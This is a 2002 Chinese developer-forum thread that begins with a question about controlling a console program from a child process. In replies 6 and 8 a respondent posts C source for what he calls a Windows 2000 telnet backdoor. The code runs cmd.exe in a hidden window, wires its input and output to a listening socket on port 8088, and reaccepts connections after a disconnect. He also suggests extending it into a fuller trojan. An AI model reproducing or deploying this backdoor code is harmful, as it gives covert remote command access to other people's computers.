多进程
我在主进程里再创建了一个进程,该进程主要用于运行一个指定的控制台程序,比如bash程序,当我把bash运行起来之后,怎么才能使这个程序接收它自己的命令啦,比如dir命令。 问题点数:100、回复次数:11Top
1 楼snsins(初雪草)回复于 2002-08-24 09:05:07 得分 100
多进程?
用CreateProcess可以创建一个新进程
不知道你说的是创建新线程还是新进程
如果是创建一个新进程的话
那么你对这个新的进程控制权有限
而且WINDOWS下面不存在什么BASH
BASH是LINUX下的一个SHELL程序
Top
2 楼snsins(初雪草)回复于 2002-08-24 09:06:07 得分 0
创建一个新进程后,你能得到的就是这个新进程的句柄
至于别的,你不能像对线程一样随心所欲地控制
因为他是一个独立的进程
有自己的地址空间Top
3 楼yuehuazheng(boss)回复于 2002-08-24 09:12:11 得分 0
创建了一个进程,它就有一个主线程,
当我不知道怎么对它进行控制,
bash程序在window下也能运行
我要做的就是一个类似shell的东西Top
4 楼snsins(初雪草)回复于 2002-08-24 09:37:04 得分 0
ooooooooo
那你说是多进程?
每一个进程都有一个主线程
如果你在程序用没有创建新的线程,那么你的程序就是你的主线程
进程本身是不执行任何代码的
void main()
{
cout<<"test";
}
上面这个简单的程序就是用主线程来执行 cout<<"test";
一般情况下,只要你在程序里没有创建新线程
那么程序就一直工作在主线程下Top
5 楼snsins(初雪草)回复于 2002-08-24 09:38:31 得分 0
要做个类似SHELL的东西?
如果是在WIN2K下,可以接管CMD.EXE的输入和输出
这样就可以得到一个标准WINDOWS的SHELL
而且你自己也可以扩展Top
6 楼snsins(初雪草)回复于 2002-08-24 09:40:58 得分 0
下面是我写的一个WIN2K下的TELNET后门中的一段代码
这个TELNET后门可以用WINDOWS自带的TELNET客户端连接到指定的端口
对远程计算机进行WINDOWS标准命令行操作
SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);//创建两个匿名管道 ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);//将匿名管道和CMD.EXE输入输出关联起来Top
7 楼yuehuazheng(boss)回复于 2002-08-24 10:25:55 得分 0
讲匿名管道和CMD.EXE联系起来之后,是不是只要这个进程不关闭,我在CMD.EXE输入命令和,都能在管道中得到相应的输出。就好好比输出重定向到某个地方
?Top
8 楼snsins(初雪草)回复于 2002-08-24 10:41:15 得分 0
现在你只要把命令写入到管道里传递给CMD.EXE,CMD.EXE就会执行你的命令,并且将结果通过管道传输出来
算了
我把后面的代码也贴出来吧,不过你最好多加点分哦,这是我写在一个线程里的,不过只要你看懂了,写到哪里去都可以:)
原理就是这个程序在远程机器上运行后,创建一个套接字,监听8088端口,并且将CMD.EXE与两个匿名管道连接起来,然后套接字阻塞等待客户机连接,当我们用TELNET客户端程序连接上远程机器的8088端口后,输入的命令通过套接字recv后保存在一个缓冲区里,然后用WriteFile写到匿名管道里传送给CMD.EXE里,CMD.EXE处理后把结果通过匿名管道写到一个缓冲区,套接字在把这个缓冲区send出去,这样我们就可以接收到远程SHELL的处理结果了
完整代码:
static void WINAPI ThreadProc(void* pVoid)
{
WSADATA wsa;
SOCKET serverFD;
char Buff[1024];
WSAStartup(MAKEWORD(2,2),&wsa);//初始化套接字
serverFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(iport);
server.sin_addr.s_addr=ADDR_ANY;
int ret=bind(serverFD,(sockaddr *)&server,sizeof(server));
ret=listen(serverFD,4);
int iAddrSize = sizeof(server);
re: SOCKET clientFD=accept(serverFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1)
{
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret)
break;
ret=send(clientFD,Buff,lBytesRead,0); if(ret<=0)
break;
}
else
{
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0)
break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);//
send(clientFD,Buff,lBytesRead,0);//这一句就是增加命令回显功能,在标准TELNET里,输入的命令是没有回显的,加了这一句就有了回显功能
if(!ret) break;
}
}
goto re;//这一句作用是当客户端断开连接后可以连接
return;
}
基本就这样,有问题再写出来
你需要别的功能
可以自己扩展,比如可以通过命名管道来传送文件啊什么的,这样就成了一个比较完善的木马了Top
9 楼snsins(初雪草)回复于 2002-08-24 10:42:34 得分 0
别忘记加点分:)Top
10 楼yuehuazheng(boss)回复于 2002-08-24 11:18:06 得分 0
原理大概就是这样吧,我下来慢慢试,先感谢老兄了
不过还有一个问题
怎么我结贴给分时,系统给出这样的提示:你给出分数和是:0;而贴子的分数是:100
我该怎么才能加上分呀
再一次感谢Top
11 楼snsins(初雪草)回复于 2002-08-24 11:20:36 得分 0
你要在我的名字后面的那个分数后面的框里填上100这个数字,然后再点“给分”那个按钮:)Top




